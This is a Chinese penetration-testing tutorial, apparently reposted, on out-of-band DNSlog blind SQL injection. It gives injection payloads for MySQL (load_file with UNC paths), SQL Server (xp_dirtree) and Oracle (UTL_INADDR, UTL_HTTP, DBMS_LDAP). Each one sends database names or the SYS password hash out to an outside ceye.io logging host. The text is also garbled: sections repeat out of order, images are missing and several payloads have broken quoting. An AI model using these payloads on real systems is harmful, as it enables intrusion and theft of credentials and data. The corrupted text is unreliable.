0x00 前言
我们在盲注的时候,会非常的繁杂,发起大量的请求容易被禁ip。
爆数据的时候也比较慢,所以我们需要用到dnslog盲注。
0x01 dnslog盲注
dnslog盲注条件:
dnslog 盲注有一定的局限性,条件是secure_file_priv必须为空并且是windows系统。
secure_file_priv= null 不允许导入导出
我们在盲注的时候,会非常的繁杂,发起大量的请求容易被禁ip。
爆数据的时候也比较慢,所以我们需要用到dnslog盲注。
0x01 dnslog盲注
dnslog盲注条件:
dnslog 盲注有一定的局限性,条件是secure_file_priv必须为空并且是windows系统。
secure_file_priv= null 不允许导入导出
secure_file_priv = /tmp 只允许在tmp 目录导入导出
secure_file_priv = 没有具体的值
如果没有需要手工设置。
可修改MysqL配置文件Windows下为my.ini, 在[MysqLd]下面,查看是否有:
没有就手工添加。
添加完成后直接来查询
![]()
就可以看到数据库名已经被回显在dns平台上。
在一些sqlserver无回显, Oracle注入无回显、ssrf 、xxe、命令执行无回显的时候也可以用到dnslog来回显出来。
sqlserver :
payload:
![]()
oracle:
http://ceye.io/
0x02 尾声
渗透在于折腾
show global variables like '%secure%';
查看secure_file_priv 的值
如果没有需要手工设置。
可修改MysqL配置文件Windows下为my.ini, 在[MysqLd]下面,查看是否有:
secure_file_priv =
没有就手工添加。
添加完成后直接来查询
Windows但不支持 Linux ,原因如下:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。
UNC是一种命名惯例,主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式
。因为Linux没有UNC路径这个东西,所以当MysqL处于Linux系统中的时候,是不能使用这种方式外带数据的
MysqL 盲注构造 payload
and load_file(concat(\\\\',(select database()),.fbuf5n.ceye.io\\abc'))
就可以看到数据库名已经被回显在dns平台上。
在一些sqlserver无回显, Oracle注入无回显、ssrf 、xxe、命令执行无回显的时候也可以用到dnslog来回显出来。
sqlserver :
payload:
DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 name from master.dbo.sysobjects where xtype = u')+.fbut5n.ceye.io';EXEC(master..xp_dirtree"\\'+@host+\foobar$"');
oracle:
SELECT UTL_INADDR.GET_HOST_ADDRESS(ip.port.b182oj.ceye.io');SELECT UTL_HTTP.REQUEST(http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;SELECT HTTpurityPE(').GETCLOB() FROM DUAL;SELECT DBMS_LDAP.INIT((oracle.ip.port.b182oj.ceye.io80) FROM DUAL;SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name=SYS')||.ip.port.b182oj.ceye.io80) FROM DUAL;
dnslog 平台:
http://ceye.io/
0x02 尾声
渗透在于折腾
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。